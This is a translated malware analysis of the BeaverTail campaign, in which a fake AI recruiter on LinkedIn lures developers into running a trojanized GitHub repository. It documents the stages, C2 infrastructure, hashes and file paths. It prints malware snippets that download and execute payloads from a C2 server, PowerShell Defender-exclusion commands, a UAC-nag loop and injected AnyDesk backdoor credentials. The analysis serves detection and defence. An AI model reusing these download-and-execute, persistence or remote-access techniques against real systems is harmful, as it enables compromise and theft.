BeaverTail恶意软件活动伪装成AI招聘人员,通过LinkedIn向开发者提供虚假的AI工程师职位。诱导开发者克隆包含恶意代码的GitHub仓库,执行后会扫描凭据、窃取浏览器信息、劫持剪贴板、收集系统信息并部署后门,最终通过AnyDesk实现远程控制,对受害者数字生活造成严重威胁。
特色
它像每个开发者最喜欢的通知一样开始:
“你已入围AI工程师职位。”
这家公司看起来很令人兴奋 - DLMind,一个“AI驱动的创新实验室”。招聘人员似乎很靠谱 - Tim Morenc, CEDS,拥有完善的LinkedIn个人资料、专业的语气以及共同联系人的历史。
但是,在那条友好的消息背后隐藏着 BeaverTail - 一个旨在劫持你的好奇心、代码和凭据的恶意活动。
开发者收到 LinkedIn 消息,提供利润丰厚的远程职位,标题为 “创新型AI工程师”。 攻击者冒充 Tim Morenc,邀请他们在一个私有 GitHub 仓库上进行协作,据称该仓库包含一个编码评估。 说明很简单:
“克隆仓库,检查代码,运行设置并分享你的反馈。”
而这正是触发陷阱的原因。
一旦提供的脚本执行,它就会展开一个五阶段的 payload - 一个精心设计的攻击链,旨在融入开发者的工作流程。
恶意软件悄无声息地:
在“评估”完成运行之前,攻击者已经掌控了受害者的数字生活。
BeaverTail 不仅仅是网络钓鱼 - 它武器化信任,将社会工程与技术精度相结合。 在一个 GitHub pull request 和 LinkedIn 工作机会模糊了机遇和剥削界限的世界中,BeaverTail 提醒我们,有时最危险的代码审查是你意想不到的。


Tim Morenc CEDS 在 LinkedIn 上联系开发者,询问 DLMind 的 AI 工程师职位。候选人收到的不是典型的编码面试,而是一个“技术评估”:
“请审查此代码库并分享你的技术想法。这是我们的人工智能驱动的医疗保健产品之一。”
Github 仓库:https://github.com/dlmind-tech/AI-Healthcare

Github 组织

Readme.md
该仓库似乎是一个名为“MEDIRA”的 Next.js 应用程序,这是一个具有以下功能的人工智能驱动的医疗保健平台:
为了审查代码并查看其实际运行情况,开发者自然会运行:
git clone hxxps://github[.]com/dlmind-tech/AI-Healthcare.git
cd AI-Healthcare
npm install
node run dev/build # ← 后门在此处激活
我们有一个大型项目,其中包含众多目录和文件,旨在成为具有广泛功能的人工智能驱动的医疗保健平台。

代码目录结构
在此项目中,有两个文件包含后门机制。 后门隐藏得非常好,除非你专门搜索它,否则很难检测到。
文件 1:auth/config/index.js (第 98 行)

编码的 C2 URL
此文件包含第一个阶段 payload 所在的实际 C2 URL。它 base64 解码为 loopsoft[.]tech:6168/defy/v8
文件 2:auth/routes/cities.js (第 36–58 行)

下载并执行下一个 payload 的函数
这是用于从 C2 URL 调用 payload 的函数,该 URL 从上面的 base64 获取,并在解码后得到。
它是如何工作的:

C2 响应,状态为 404,正文中包含恶意 js
这是一个令人讨厌的、经过大量混淆的恶意软件,充当信息窃取器,同时也设置持久性远程访问。 毫不奇怪,它是跨平台的。 因此,它可以很好地与 Windows、Linux 和 macOS 配合使用。 开发工作非常认真,采用了许多规避技术和全面的数据盗窃功能。
它是如何工作的
来自 C2 服务器的原始 JavaScript 经过了多阶段的反混淆。 使用公共 JavaScript 反混淆器 (https://deobfuscate.relative.im) 的初始传递成功解包了控制流混淆,并揭示了恶意软件的核心组件,包括 infostealer 函数、文件系统操作和网络上传机制。 但是,这只解决了第一层; 其余代码使用自定义的基于 Base91 的混淆方案。

部分反混淆的 JS
这种混淆依赖于一种修改后的 Base91 编码,但有一个转折:恶意软件没有使用单个解码字母表,而是使用多个唯一的字符集来编码不同的字符串。 这需要识别哪个字母表对应于每个字符串,而不是使用单个解码器。 解码的关键是识别重复的模式 — 例如字母表字符串后跟查找函数 (.indexOf()、.charAt() 或数组访问) — 并发现具有相似长度,分布和数组存储模式的编码字符串组。
最终的解码方法是:
生成报告:将所有成功的编码到解码的映射保存到结构化的 JSON 文件中,以供审查和进一步使用。

解码的字符串
这很有效,我们现在能够拼凑出所有内容,这揭示了更多的恶意软件功能以及用于依赖 WebSocket 进行持久访问的额外 C2 基础设施。
C2 基础设施:编码的数据包含完整的 WebSocket 服务器配置 - 地址分解为八位字节、端口号和唯一标识符。 我们现在可以看到部分解码代码中不明显的与 172[.]86[.]89[.]10:4382 的连接。
后门实现:看起来像通用网络代码的实际上是一个完整的 Socket.IO 后门,具有远程命令执行、进程伪装(“Node.js Javascript Runtime”)和 PID 锁定以防止多个实例。
监视功能:解码的字符串包含剪贴板监视实现(每 500 毫秒轮询一次,并带有特定于平台的命令)、带有屏幕截图关联的键盘记录程序设置以及包含 35 个搜索模式的文件扫描程序,这些模式针对与加密相关的文件。
VM 检测:适用于 Windows (wmic computersystem)、macOS (system_profiler) 和 Linux (/proc/cpuinfo) 的完整规避逻辑,用于检测 VMware、VirtualBox、QEMU 和其他分析环境。
Python payload 传递链:解码的字符串显示了它如何下载嵌入式 Python 运行时,以静默方式安装它,并使用它来执行下一阶段的下载器。 如果不破坏此编码,我们将看到一个针对浏览器和钱包的凭据窃取器。 通过解码的字符串,我们发现了一个多阶段攻击平台,具有实时监视、远程访问、反分析功能和自动化的 Python 恶意软件部署。 多字母混淆不仅仅是减慢分析速度 - 它还隐藏了恶意软件的真正复杂性。
它的作用
2. 监视:
3. 系统分析:
4. 远程访问:
5. 数据泄露:
Python Payload 部署
在窃取数据后,恶意软件会自动部署下一阶段 - 基于 Python 的下载器,该下载器会引入其他恶意软件组件。
// 从 C2 下载嵌入式 Python
fetch('http://88[.]218[.]0[.]78:1224/pdown')
.then(response => response.arrayBuffer())
.then(data => {
fs.writeFileSync(tmpDir + '\\p.zi', data)
fs.renameSync(tmpDir + '\\p.zi', tmpDir + '\\p5.zip')
// 提取到 ~/winrar/python.exe
exec('tar -xf "' + tmpDir + '\\p5.zip' + '" -C "' + homeDir + '"')
})
config API (api[.]npoint[.]io/96979650f5739bcbaebb) 返回 {“name”: “winrar”},这告诉恶意软件将 Python 提取到 C:\Users\{user}\winrar\python.exe。
下载第 2 阶段 Python 脚本
/ 下载经过大量混淆的 Python 下载器
request.get('http://88[.]218[.]0[.]78:1224/client/3/603', (err, res, body) => {
fs.writeFileSync(homeDir + '/.nlq', body) // 隐藏文件
// Windows:使用嵌入式 Python
exec('"' + homeDir + '\\winrar\\python.exe" "' + homeDir + '/.nlq"')
// Linux/macOS:使用系统 Python
exec('python3 "' + homeDir + '/.nlq"')
})
执行流程:第 1 阶段 JS → 下载 Python 运行时 → 下载 .nlq → 执行 .nlq
文件:~/.nlq
这个 .nlq 是一个经过 64 层反向→base64→zlib 编码包装的混淆 Python 文件。 在对其进行解码后,我们得到以下代码:

.nlq 的 Python 代码
该脚本首先确保它具有必要的依赖项 - 如果 `requests` 库不可用,它会使用 pip 自动安装它。 然后,它会访问交付 JavaScript payload 的同一 C2 服务器 (`88[.]218[.]0[.]78:1224`),但这次会访问不同的端点以获取基于 Python 的恶意软件。
它的作用
平台行为:
文件:~/.n2/way
C2 套接字:88[.]218[.]0[.]78:2243
~/.n2/way 文件是一个 Python 远程访问木马,它使用相同的反向→base64→zlib 混淆包装了 64 层。 解码并执行后,它为攻击者提供了一个 8 命令工具包,用于完全系统控制、数据泄露和部署其他恶意软件阶段。
它是如何工作的
解码后,RAT 首先分析受害者系统 — 收集主机名、IP 地址、地理位置数据(通过 ip-api[.]com)以及从 MAC 地址和用户名派生的唯一标识符。 此注册数据被发送到 88[.]218[.]0[.]78:1224/keys,允许攻击者跟踪和组织受害者。 然后,RAT 与 88[.]218[.]0[.]78:2243 建立持久性 TCP 套接字连接,并等待命令。
在 Windows 系统上,RAT 还包括一个使用 pyWinhook、pyperclip 和 pythoncom 库的键盘记录程序组件。 它使用窗口上下文、鼠标单击、剪贴板活动(带有 Ctrl+C/V 标记)以及活动窗口信息(进程名称、PID、时间戳)捕获所有击键。 此数据累积在全局缓冲区中,直到攻击者通过命令 3 请求导出。
它的作用
RAT 提供 8 个复杂命令,用于以下操作:
命令 || 功能 || 描述
1 || ssh_obj || 远程 shell + 目录导航
2 || ssh_cmd || 杀死所有 Python 进程(自毁)
3 || ssh_clip || 导出键盘记录程序缓冲区(仅限 Windows)
4 || ssh_run || 下载/执行 /brow/3/603 -> ~/.n2/bow
5 || ssh_upload || 上传文件/目录/模式
6 || ssh_kill || 终止 Chrome 和 Brave 浏览器
7 || ssh_any || 下载 AnyDesk 劫持程序 -> ~/.n2/adc
8 || ssh_env || 扫描 C: 到 G: 驱动器中的 .env 文件
向 C2 进行系统注册:
## 发送到 hxxp://88[.]218[.]0[.]78:1224/keys
{
'uuid': sha256(MAC_ADDRESS + USERNAME),
'hostname': '603_' + os.hostname(),
'internalIp': LOCAL_IP,
'query': EXTERNAL_IP, # 通过 ip-api.com
'country': COUNTRY, # 通过 ip-api.com
'city': CITY, # 通过 ip-api.com
'lat': LATITUDE, 'lon': LONGITUDE
}
主要功能:
C2 通信:
该 ~/.n2/pow 文件是持久性框架,它使用反向→base64→zlib 混淆包装了 128 层 — 是 RAT 的两倍深度。 这仅在 Windows 和 Linux 上运行(在 macOS 上立即退出)。 其唯一目的:确保恶意软件在重新启动、安全扫描和用户清理尝试后仍然存在。
它是如何工作的
持久性机制是多层且具有侵略性的。首先,它检查是否已安装 Python,如果未安装,则从官方 Python [.]org 站点或 100 多个加密的备用镜像 URL 下载 Python 3.11.0(使用密钥 !!!HappyPenguin1950!!! 以 Hex→XOR→Base64→Reverse 编码)。然后,它安装加密库并将启动注入器写入 Windows 启动文件夹。
在下次启动时,注入器会检查计划任务是否已存在。如果不存在,它会提取并执行主 payload,创建一个名为“Runtime Broker”的计划任务(模仿合法的 Windows 进程),添加 Windows Defender 排除项,并启动一个无限 UAC 绕过循环,该循环每 10–20 分钟显示权限提升提示,直到用户接受。
它的作用
三重持久性:
2. 计划任务 — “Runtime Broker”(模仿合法的 Windows 进程)
3. 隐藏的可执行文件 — 具有隐藏文件属性的 Runtime Broker.exe
Windows Defender 绕过:
Add-MpPreference -ExclusionPath '%APPDATA%\...\Runtime Broker.exe'
Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\...\msedge.exe' # XMRig 矿工
UAC 绕过(无限重试):
while True:
time.sleep(random.uniform(600, 1200)) # 等待 10-20 分钟
if execute_payload_with_uac(): # ShellExecuteW "runas"
break # 用户接受
# 否则无限循环显示 UAC 提示
UAC 提示每 10–20 分钟出现一次,直到受害者单击“是”,从而使恶意软件具有管理员权限。 大多数用户最终都会接受提示,只是为了停止弹出窗口。
Python 自动安装:
这确保了恶意软件即使在没有 Python 的系统上也能运行,使其完全自给自足。
最后阶段是一个通过 RAT 命令 7 部署的 Python 脚本 (~/.n2/adc)。 与之前的阶段不同,这个阶段没有混淆。 到第 4 阶段,他们已经收集了凭据,建立了远程访问并确保了持久性。 现在,他们正在使用合法的软件添加 GUI 远程桌面后门。

Anydesk 劫持程序代码
它是如何工作的
该脚本首先检查是否已安装 AnyDesk。 如果没有,它会从专用操作服务器下载官方安装程序 (95[.]164[.]17[.]24:1224/any)。 然后,它会找到 AnyDesk 配置文件(Windows 上的 %APPDATA%\anydesk\ 或 Linux 上的 ~/.anydesk/ 中的 service.conf),并注入硬编码的后门凭据:密码哈希、密码 salt 和Token salt。
在注入凭据后,该脚本会将修改后的配置上传到 95[.]164[.]17[.]24:1224/keys 以供攻击者记录,杀死 AnyDesk 进程,重新启动它(这将加载后门的配置),然后删除自身。 结果是一个持久的 GUI 远程访问通道,对于安全软件和用户来说看起来完全合法。
它的作用
AnyDesk 劫持过程:
注入的凭据:
ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d
ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345
ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f
配置文件位置:
从攻击者的角度来看,这种方法的优点在于 AnyDesk 是一款合法的远程桌面软件,被数百万 IT 专业人员使用。 安全工具不会标记它,即使用户注意到 AnyDesk 正在运行,他们也可能会认为它是合法的 IT 支持软件。 攻击者现在拥有完整的 GUI 访问权限 — 他们可以查看屏幕、移动鼠标以及与系统交互,就像他们坐在键盘前一样。
C2 服务器:95[.]164[.]17[.]24:1224(专用的 AnyDesk 操作服务器,与其他 C2 分开)
恶意软件执行流程
完整的 URL || 目的 || 写入磁盘
hxxp://loopsoft[.]tech:6168/defy/v8 || 第 0 阶段:传递第 1 阶段 JS payload || 否(在内存中运行)
hxxp://88[.]218[.]0[.]78:1224/uploads || 第 1 阶段:泄露被盗的凭据/钱包 || 否(仅上传)
hxxp://88[.]218[.]0[.]78:1224/pdown || 第 1 阶段:下载 Python 运行时(仅限 Windows) || %TEMP%\p.zi -> %TEMP%\p5.zip
hxxp://88[.]218[.]0[.]78:1224/client/3/603 || 第 1 阶段:下载第 2 阶段下载器 || ~/.nlq(64 层混淆)
hxxp://172[.]86[.]89[.]10:4382/ || 第 1 阶段:WebSocket 后门连接 || 否(持久连接)
hxxp://172[.]86[.]89[.]10:4382/api/service/process/3e5fd7fdc21c6cfd419cc84fa67b869e || 第 1 阶段:进程注册/受害者跟踪 || 否(HTTP POST)
hxxp://172[.]86[.]89[.]10:4382/api/service/makelog || 第 1 阶段:键盘记录程序数据上传 || 否(仅上传)
hxxp://172[.]86[.]89[.]10:4382/upload || 第 1 阶段:屏幕截图/文件泄露 || 否(仅上传)
hxxp://88[.]218[.]0[.]78:1224/payload/3/603 || 第 2 阶段:下载 Python RAT || ~/.n2/way
hxxp://88[.]218[.]0[.]78:1224/brow/3/603 || 第 2 阶段:下载持久性框架 || ~/.n2/pow
hxxp://88[.]218[.]0[.]78:1224/keys || 第 3 阶段:RAT 注册(系统分析) || 否(HTTP POST)
hxxp://88[.]218[.]0[.]78:2243/ || 第 3 阶段:Socket.IO RAT 命令通道 || 否(持久套接字)
hxxp://88[.]218[.]0[.]78:1224/adc/3 || 第 3 阶段:下载 AnyDesk 劫持程序 || ~/.n2/adc(明文 Python)
hxxp://95[.]164[.]17[.]24:1224/any || 第 4 阶段:下载 AnyDesk 安装程序(如果需要) || 临时位置,然后删除
hxxp://95[.]164[.]17[.]24:1224/keys || 第 4 阶段:上传被劫持的 AnyDesk 配置 || 否(仅上传)
loopsoft[.]tech
api[.]npoint[.]io
ip-api[.]com
88[.]218[.]0[.]78 # 主 C2(端口 1224、2243)
172[.]86[.]89[.]10 # WebSocket C2(端口 4382)
95[.]164[.]17[.]24 # AnyDesk 操作(端口 1224)
路径 || 目的
~/.nlq || 第 2 阶段下载器(64 层)
~/.n2/way || 第 3A 阶段 RAT(64 层)
~/.n2/pow || 第 3B 阶段持久性(128 层)
~/.n2/adc || 第 4 阶段 AnyDesk 劫持程序
~/.n3/ || 文件扫描程序暂存
%TEMP%\cc.pid || WebSocket 后门 PID 锁定(Windows:C:\Users\{user}\AppData\Local\Temp\cc.pid)
/tmp/cc.pid || WebSocket 后门 PID 锁定 (Linux)
$TMPDIR/cc.pid || WebSocket 后门 PID 锁定(macOS:/var/folders/*/T/cc.pid)
%TEMP%\up.pid || 文件扫描程序 PID 锁定 (Windows)
/tmp/up.pid || 文件扫描程序 PID 锁定 (Linux/macOS)
%TEMP%\windows cache\ || 键盘记录程序缓存目录 (Windows)
/tmp/windows cache/ || 键盘记录程序缓存 (Linux/macOS, 在所有平台上都命名为“windows cache”)
%TEMP%\windows cache\1.tmp || 键盘记录程序备用存储
%TEMP%\windows cache\2.jpeg || 屏幕截图临时存储
%TEMP%\p.zi || Python 运行时下载临时文件(仅限 Windows)
%TEMP%\p5.zip || 提取之前的 Python 运行时 ZIP(仅限 Windows)
%APPDATA%\...\Startup\Windows Update Script.pyw || 持久性
注意:哈希值表示 C2 服务器传递并写入磁盘的混淆 payload。
磁盘上路径 | Sha256
--------------------|-----------------------------------------------------------------
~/.nlq | b59187e77c19f5fcd9fdb14663fbdd91cf7110bfec1267676a61b5a85583bf58
~/.n2/way | 9daa4de89ea95bf5f7f97815ecee0d7435f03b1d50ff2222973bcc517daee160
~/.n2/pow | 006c6a04a741ba75e66d460b441c8984bad00c2566b262a9b579a86c649e788f
~/.n2/adc | ffed818b35b249db723741d3ec1cb7bc5a8e3e47821feb030d4a424717cd670e
%TEMP%\p5.zip | 99502507bfa92aee6d6b0220346410412be6cfd1ca1b28378b9e0958bd697342
AnyDesk 后门凭据:
ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d
ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345
ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f
进程指标:
BeaverTail 演示了复杂的恶意软件活动如何利用对专业平台和标准开发工作流程的信任。 来自表面上看起来合法的招聘人员的简单“审查此代码”请求会在 15 秒内导致完整的系统入侵。 提取此类秘密意味着一台受感染的计算机可能会导致更多漏洞,具体取决于受害者拥有的访问权限,并最终威胁公司的安全。如果你收到来自“Tim Morenc CEDS”的消息,或者被要求审查来自 dlmind-tech 的代码,你的系统可能已被入侵。
- 原文链接: medium.com/deriv-tech/ho...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!